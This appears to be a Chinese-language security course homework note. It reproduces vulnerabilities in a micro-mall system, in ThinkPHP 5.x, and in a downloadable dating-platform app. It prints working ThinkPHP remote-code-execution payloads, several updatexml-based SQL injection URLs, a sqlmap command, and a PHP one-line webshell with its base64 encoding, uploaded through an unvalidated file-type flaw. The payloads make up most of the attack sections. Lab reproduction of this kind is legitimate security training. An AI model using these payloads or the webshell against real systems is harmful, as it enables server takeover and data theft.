目录
【漏洞编号】CNVD-2018-24942
一、对微商城系统进行代码审计,分析复现文件上传、sql注入等漏洞
代码审计:id参数未做输入控制,且查询数据展示在页面(可使用union注入)
二、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法
安装composer:通过phpstudy安装(软件管理页)
创建tp5目录,composer命令行切换到此目录,执行命令(实际下载5.0的最新版本)
函数声明:input('变量类型.变量名/修饰符','默认值','过滤规则')
三、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法
原理:ThinkPHP 底层没有对控制器名进⾏很好的合法性校验,导致在未开启强制路由的情况下,⽤户可以调用任意类的任意⽅法,最终导致 远程代码执⾏漏洞 的产⽣
漏洞利用方式(thinkphp5.0.15版本,测试可用的一些)
问题代码(base64Image函数):对文件后缀未验证,存在任意文件上传漏洞
一、对微商城系统进行代码审计,分析复现文件上传、sql注入等漏洞
文件上传漏洞:见C11期作业17(07.05) 的第四题
sql注入漏洞示例(goods.php)
代码审计:id参数未做输入控制,且查询数据展示在页面(可使用union注入)
复现漏洞
手工方式
使用sqlmap(更简单)
python sqlmap.py -u http://mall.com/goods.php?id=-1 --batch
二、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法
安装和运行:使用composer安装5.0.15版本
安装composer:通过phpstudy安装(软件管理页)
打开composer
配置composer镜像
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
创建tp5目录,composer命令行切换到此目录,执行命令(实际下载5.0的最新版本)
composer create-project --prefer-dist topthink/think=5.0.15 .
更新代码为5.0.15版本
- 在composer.json ⽂件此处更改版本号为5.0.15
- 执⾏composer update
- 在composer.json ⽂件此处更改版本号为5.0.15
phpstudy中配置站点,访问站点
目录结构
url传参方式(不考虑路由配置)
PATH_INFO⽅式
兼容模式
获取用户参数(这里使用更方便的方式:input助手函数)
函数声明:input('变量类型.变量名/修饰符','默认值','过滤规则')
变量类型
修饰符(类型强转的过滤方式)
过滤规则
支持:自定义的函数或方法、php内置的过滤规则,支持多个
设置
全局设置:配置文件/Request
获取变量时指定
默认值:参数不存在,或过滤失败时使用
三、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法
代码执行漏洞
原理:ThinkPHP 底层没有对控制器名进⾏很好的合法性校验,导致在未开启强制路由的情况下,⽤户可以调用任意类的任意⽅法,最终导致 远程代码执⾏漏洞 的产⽣
漏洞利用方式(thinkphp5.0.15版本,测试可用的一些)
- post数据:_method=__construct&filter[]=system&method=get&get[]=calc
- ?s=index/think\config/get&name=database.username
- ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=sy
stem&vars[1][]=calc
sql注入漏洞
框架漏洞
准备
- 创建数据库和表
create database tpdemo; use tpdemo; create table users( id int primary key auto_increment, username varchar(50) not null );
- 在database.php修改数据库连接相关参数
- 开启config.php 中的 app_debug 和 app_trace
- 创建数据库和表
insert方法注入
- 原理:Builder 类的 parseData ⽅法中。由于程序没有对数据进⾏很好的过滤,将数据拼接进 SQL 语句,导致 SQL注⼊漏洞 的产⽣
- 漏洞版本:5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
- 代码示例
class Vul { public function sql() { $username = Input('username/a'); db('users')->insert(['username' => $username]); return 'Update success'; } }
- 执行方式
http://tp.com/index.php/test/vul/sql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
update方法注入
- 原理:Mysql 类的 parseArrayData ⽅法中由于程序没有对数据进⾏很好的过滤,将数据拼接进 SQL 语句,导致 SQL注⼊漏洞 的产⽣
- 漏洞版本:5.1.6<=ThinkPHP<=5.1.7 (⾮最新的 5.1.8 版本也可利⽤)
- 代码示例
class Vul { public function sql() { $username = Input('username/a'); db('users')->where(['id' => 1])->update(['username' => $username]); return 'Update success'; } }
- 执行方式(非本人安装版本未验证)
?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
select方法注入
- 原理:Mysql 类的 parseWhereItem ⽅法中。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL语句。再⼀个, Request 类的 filterValue ⽅法漏过滤 NOT LIKE 关键字,最终导致 SQL注⼊漏洞 的产⽣
- 漏洞版本:5.0.10
- 代码示例
class Vul { public function sql() { $username = request()->get('username/a'); $result = db('users')->where(['username' => $username])->select(); var_dump($result); } }
- 执行方式(非本人安装版本未验证)
?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
order by方法注入
- 原理:Builder 类的 parseOrder ⽅法中。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL语句,最终导致 SQL注⼊漏洞 的产⽣
- 漏洞版本:5.1.16<=ThinkPHP5<=5.1.22
- 代码示例
class Vul { public function sql() { $orderby = request()->get('orderby'); $result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find(); var_dump($result); } }
- 执行方式(非本人安装版本未验证)
orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
聚合函数注入
- 原理:此漏洞存在于所有 Mysql 聚合函数相关⽅法。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注⼊漏洞 的产⽣
- 漏洞版本:5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25
- 代码示例
- 执行方式
- 版本:5.0.0~5.0.21 、 5.1.3~5.1.10
http://tp.com/index.php/test/vul/sql?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%23
- 版本:5.1.11~5.1.25 (非本人安装版本未验证)
?id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%23
- 版本:5.0.0~5.0.21 、 5.1.3~5.1.10
常见不安全写法
- 如where语句中存在输入变量,会存在union注入漏洞
- 示例代码:
- 示例一
- 示例二
- 示例一
四、搭建部署脱单交友平台并审计复现任意文件写入漏洞
平台搭建
获取源码
- 下载。下载地址:https://www.njymz.com/10096.html
- 解压下载文件,继续解压sql文件
- 将解压后sql文件放到www目录下,然后将www目录改名为you,复制you目录到phpstudy的www目录下,如下
创建库表
- 创建数据库:you
- 执行sql:在you数据库中执行上面的sql
- 修改数据库配置
创建站点
配置伪静态
不配置很多页面会访问异常
将public目录的.htaccess文件内容改为如下
<IfModule mod_rewrite.c> RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php [L,E=PATH_INFO:$1] </IfModule>
站点访问
- 后管入口:输入tp.com,会跳转到后管登陆页面。账密:admin,123456
- 前台入口:tp.com/app
- 后管入口:输入tp.com,会跳转到后管登陆页面。账密:admin,123456
复现漏洞
问题代码(base64Image函数):对文件后缀未验证,存在任意文件上传漏洞
base64Image函数调用位置
前台和后管各有一处
如下是前台调用的控制器和方法(参数是数组)
漏洞利用
生成data参数值
- 前面部分(固定部分+自定义文件扩展名):data:image/php;base64,
- 后面部分(文件内容)
- php一句话木马
<?php @eval($_GET['cmd']); ?>
- base64加密为:PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTsgPz4=
- php一句话木马
上传php一句话木马文件,成功
利用上传的一句话木马